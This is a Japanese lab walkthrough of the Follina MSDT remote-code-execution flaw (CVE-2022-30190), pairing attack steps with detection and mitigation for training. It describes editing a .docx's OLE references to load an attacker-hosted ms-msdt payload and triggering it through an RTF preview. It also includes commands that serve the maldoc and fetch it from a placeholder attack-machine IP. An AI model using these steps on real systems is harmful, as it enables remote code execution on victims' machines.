muhammad-ali007/follina_msdt_cve-2022-30190
Microsoft は、「Word などの呼び出し元アプリケーションが URL プロトコルを使用して MSDT を呼び出すと、リモートコード実行の脆弱性が存在します。この脆弱性の悪用に成功した攻撃者は、呼び出し元アプリケーションの権限で任意のコードを実行できます。その後、攻撃者はプログラムのインストール、データの表示・変更・削除、またはユーザーの権限で許可されたコンテキストでの新しいアカウントの作成を行う可能性があります」と説明しています。(https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
Microsoft は、「Microsoft サポート診断ツール (MSDT) は、Microsoft サポートに送信する情報を収集します。サポート側はこの情報を分析し、お使いのコンピューターで発生している可能性のある問題の解決策を判断するために使用します」と述べています。つまり、これは本質的に、Microsoft サポートが必要な情報をすべて情報源から直接取得して、何が問題なのかを即座に確認するための手段です。
エクスプロイトの解説
最初に注意事項を述べます。ここでは、Word 文書、特に .docx 形式を介してペイロードを読み込みます。これは実際に実環境で発見されたオリジナルのエクスプロイトです。ただし、この脆弱性は他の多くの Office 製品でも機能することが実証されています。
この脆弱性の重要な側面は次の 2 つです。 1 - 特定の docx ファイルには OLE (元は Object Linking and Embedding の略) オブジェクト参照が含まれており、場合によっては別の場所でホストされている HTML ファイルの形式をとります。 2 - MS-MSDT はコード実行を可能にします。
上記の 2 つの側面を組み合わせると、MS-MSDT HTML スキームを使用して PowerShell コードを実行でき、docx ファイルの Word の外部参照機能を使用してそれを読み込むことができます。
より具体的には、docx 構造を詳しく見ると、"word/_rels/document.xml.rels" ファイルには、外部 oleObject 参照を記述する属性 Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" を持つ XML タグ があります。この docx 機能を悪用するには、このタグの内容を編集して、Target 値を http://<external_payload_server.com>/<payload.html> に、TargetMode 値を "External" に変更することで、ホストしているペイロードを指すようにします。
word/document.xml ファイルには、<o:OLEObject...> で始まる XML タグがあります。このタグの Type 値を "Link" に変更し、キーと値のペアの属性 UpdateMode="OnCall" を追加する必要があります。
残る作業は、Word ファイルが接続し、ファイルを開いたときに命令を受け取るペイロードをホストすることだけです。これは、次のような構造の HTML ファイルを作成することで行います。
上記の HTML ファイルの内容では、ms-msdt:/id PCWDiagnostic /skip force /param コマンドと、ターゲットマシンで実行するコマンドを設定するために使用できるコマンドスイッチに気付くでしょう。その後、目的に応じてペイロードを組み合わせることができます。
これにより、マクロに一切触れることなくリモートコード実行を実現する方法が得られました。後で説明するように、悪意のある文書を開くことさえせずに実行できます。
公開されているエクスプロイトに焦点を当てる (https://github.com/JohnHammond/msdt-follina)
John Hammond 氏は、悪意のある文書 (maldoc) を作成し、悪意のあるコマンドを格納した HTML ファイルをホストするプロセスを自動化するツールを作成しました。このツールは上記のリンクに文書化されており、この演習では、先ほど触れたエクスプロイトの概念をさらに理解するために、そのフォーク版を使用します。
ターミナルを開き、このリポジトリをクローンして、msdt-follina リポジトリがクローンされた場所に作業ディレクトリを変更します。
root@host:~/Follina-MSDT# python3 follina.py
エクスプロイトを起動すると、ファイルはすでにホストされているはずなので、被害者のマシンに「配信」する準備が整います。元のターミナルを開いたまま、別のターミナルを開いて次のコマンドを入力し、ファイルをサーバーでホストします。
root@host:~/Follina-MSDT# python -m http.server 3456
ターゲットマシンでコマンドプロンプトを開き、次のコマンドを入力します。
C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
これにより、maldoc がマシンにダウンロードされ、すぐに follina.docx という名前の Word ファイルがデスクトップに表示され、実行できる状態になります。準備ができたら、ファイルを開いて何が起こるかを見てみましょう。とりあえず、maldoc とそれが生成したすべてのものを実行したままにしておきます。
「ゼロクリック」の実装
この脆弱性の「ゼロクリック」実装を再現するには、悪意のある Word ファイルに移動し、ちょっとしたメッセージを追加して (完全に任意)、リッチテキスト形式 (RTF) で保存するだけです。この実装は、被害者のマシンがプレビューウィンドウ表示になっていることを前提としています。そうでない場合は、ファイルを開いたときに実行される元の機能に戻ります。
ファイルエクスプローラーを開き、デスクトップフォルダーに移動します。そこに、クリックが必要な一見無害そうなファイルが表示されます。実際に開かないように注意して 1 回クリックし、何が起こるかを確認してください。
実際にはファイルを開いていないにもかかわらず、エクスプロイトはこの演習の前半と同じように実行されました。これは、次の 2 つの主要な機能によるものです。 1 - ファイルを開く前にプレビューできるファイルエクスプローラーの機能。 2 - 文書ファイルを開く前にファイルエクスプローラーでプレビューできるようにする RTF の機能 (他の目的もあります)。
この 2 つを組み合わせて悪用すると、今まさに目撃したばかりの攻撃ベクトルが生まれます。
検出と緩和
脅威ハンティング:
脆弱性の悪用を調査するために使用した Windows マシンには、次のログが有効になるように事前構成されています。
これらの監査メカニズムはデフォルトでは構成されていないため、不審な動作の検出に役立て、フォレンジック調査担当者が貴重なデータを利用できるようにするために、各自の環境でこれらを有効にすることが不可欠です。
前述のプロセス中に、脆弱性の悪用時にいくつかの興味深いプロセス作成を確認しました。これらのプロセス作成は Windows セキュリティログに記録されており、お好みのビューアで分析したり、集中ログコレクターに転送して処理し、後でさらに活用したりできます。
このタスクでは、Nirsoft の Event Log Viewer for Windows を使用して、先ほど確認したプロセス作成を調べます。次に、これらのプロセス作成内の詳細を調べて、他のイベントログの手がかりを探し、舞台裏で何が起こったのかをよりよく説明します。
FullEventLogView を開きます。[表示] > [クイックフィルターを使用] に移動します。ログの上部に検索バーが表示され、すばやく検索できます。プロセス作成の詳細を確認したいので、左端のドロップダウンメニューをクリックして [イベント ID を検索 (スペース/カンマ...)] を選択し、表示された検索バーに 4688 と入力します。
画面にプロセス作成イベントが表示され、マシンとのやり取りが最小限であるにもかかわらず、大量にあることにすぐに気付くでしょう。
最初に確認するアーティファクトは winword.exe です。このプロセスからのイベントの流れを理解することで、Office プロセスが一般的に MSDT 悪用のコンテキストでどのように動作するかを把握できます。Ctrl+F を押して検索機能を起動し、winword と入力します。
おそらく最初に表示されるエントリは、詳細: New Process Name で識別される、WINWORD.EXE が新しく作成されたプロセスであるものでしょう。このプロセスは、詳細: Process Command Line により、follina.docx ファイルが開かれたことを示しています。まったく同じように見えなくても完全に正常です。[次を検索] ボタンをクリックして、長い「ms-msdt」(powershell) コマンドのようなエントリが見つかるまで進みます。
ここでは、WINWORD.EXE が Creator Process、つまり msdt.exe の親プロセスであることがわかります。複数の PowerShell コマンドレット (command-lets と発音) と複数のディレクトリトラバーサルを含む長いコマンドラインエントリに注目してください。これを環境内で単独で見かけたら、すぐに危険信号として認識する必要があります。ここで詳しく確認できる簡単なヒントとして、文字列 Y2FsYw== があります。これをデコードすると、文字列 calc になります。
PowerShell コマンドレットを確認したので、この手がかりをさらに調べるために PowerShell イベントをフィルター処理するのが理にかなっています。PowerShell イベントをログに記録する一意のイベント ID は多数あるため、プロバイダーでフィルター処理できます。[オプション] > [詳細オプション] に移動します。2 番目のドロップダウンメニューをクリックし、[特定のプロバイダーのみを表示 (カンマ区切り...)] を選択します。ワイルドカード (*) で囲んで PowerShell と入力すると、PowerShell に関連するすべてのプロバイダーが含まれます。
先ほど入力した 4688 を「クイックフィルター」ボックスからクリアすると、PowerShell プロバイダーのみからのイベントが画面に表示されます。ここから、上記で確認した PowerShell コマンドの一部を使用してイベントをフィルター処理できます。
このイベントに到達したら、検索機能を閉じて、この Scriptblock テキストの痕跡をたどります。キーボードの下矢印キーを押すか、イベントをクリックして、次のイベントに移動できます。この Scriptblock テキストの直後にあるイベントを調べると、PowerShell の視点から calc が段階的に実行される様子がわかります。
Sigma ルールの利用可能性:
Huntress の検出エンジニアである Matthew Brennan 氏は、環境内の不審な MSDT 実行を検出する Sigma ルールを作成しました。このルールの素晴らしい点は、コミュニティが新しいものを発見するたびに更新され続けることです。
Sigma ルールはこちらにあります (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) は、Sigma ルールを、選択した SIEM 内で即座に使用できるクエリに変換するのに役立つ便利なツールです。
環境内の MSDT エクスプロイトをハンティングする際、Sigma ルールを次の両方の検出メカニズムとして使用できます。
MSDT は実行を伝達するために別のバイナリも使用します (https://twitter.com/KyleHanslovan/status/1531114931973767168)。そのため、それを親とする不審な子プロセスに注意し、さらに調査する必要があります。上記の「編集済み」情報は、前のタスクの質問に対する回答です。自己責任で確認してください。
関連資料:
Follina の検出: Microsoft Office のリモートコード実行ゼロデイ (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
アンチウイルス / Windows Defender:
多くの Microsoft Defender 製品には検出メカニズムが備わっており、信頼のおける Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) にそのリストが掲載されています。
修復
この脆弱性のパッチは、2022 年 6 月の Windows 累積更新プログラムに含まれています。ユーザーはこの脆弱性から保護されるために、これらの更新プログラムをインストールすることが不可欠です。定期的に手動で行うこともできますが、これはあまり効率的ではなく忘れがちです。または、更新プログラムのチェックとインストールを自動化することもできます。
MSDT URL プロトコルを無効にする:
パッチが導入される前に、セキュリティチームは組織の IT 管理者に急いで MSDT URL プロトコルを無効にするよう求めました。MSDT URL プロトコルを無効にすると、トラブルシューターがリンクとして起動されなくなり、Office から ms-msdt を呼び出せなくなります。プロトコルを無効にするには、まずコマンドプロンプトを管理者として実行します。
C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
ここまでで、常に作業ディレクトリをデスクトップに変更していることにお気付きでしょう。これは、コマンドが環境にもたらす変更 (ファイルの作成など) をすぐに確認できるようにするためです。ただし、これは決していかなる環境でもベストプラクティスではありません。
最初に実行した reg query コマンドは、キーが存在するかどうかをすばやく確認するためのものです。続く reg export は、キーをファイルにエクスポートして、後で Microsoft がこの脆弱性のより恒久的な修正を提供したときに、システムに再統合できるようにするためのものです。エクスポートされたファイルは現在の作業ディレクトリ (この場合はデスクトップ) に保存されます。reg delete コマンドが実際に MSDT URL プロトコルを無効にするコマンドです。これは主に、システムからキーを完全に削除するためです。最後の reg query コマンドは、キーが存在しなくなったことを確認するためのものです。
Windows マシンで MSDT URL プロトコルを無効にしたら、エクスプロイトをもう一度トリガーして、マシンにどのような影響があるかを確認してみましょう。これは、攻撃が成功するかどうかに関係なく、当社の制御が攻撃を検出できるかどうかを確認する良い方法です。
攻撃面の縮小 (ASR):
環境で Microsoft Defender for Endpoint を使用している場合は、ASR ルール「すべての Office アプリケーションが子プロセスを作成できないようにブロックする」を有効にしてください。子プロセスを作成すべきではないサービスからの子プロセス作成は、マルウェアに共通する特徴です。
最後に、このトピックを締めくくる方法として、シンプルで簡単に展開できるいくつかの修復プロセスを選択しました。Microsoft は PowerShell インジェクションをブロックするパッチをすでにリリースしており、この攻撃ベクトルを事実上無効にしています。
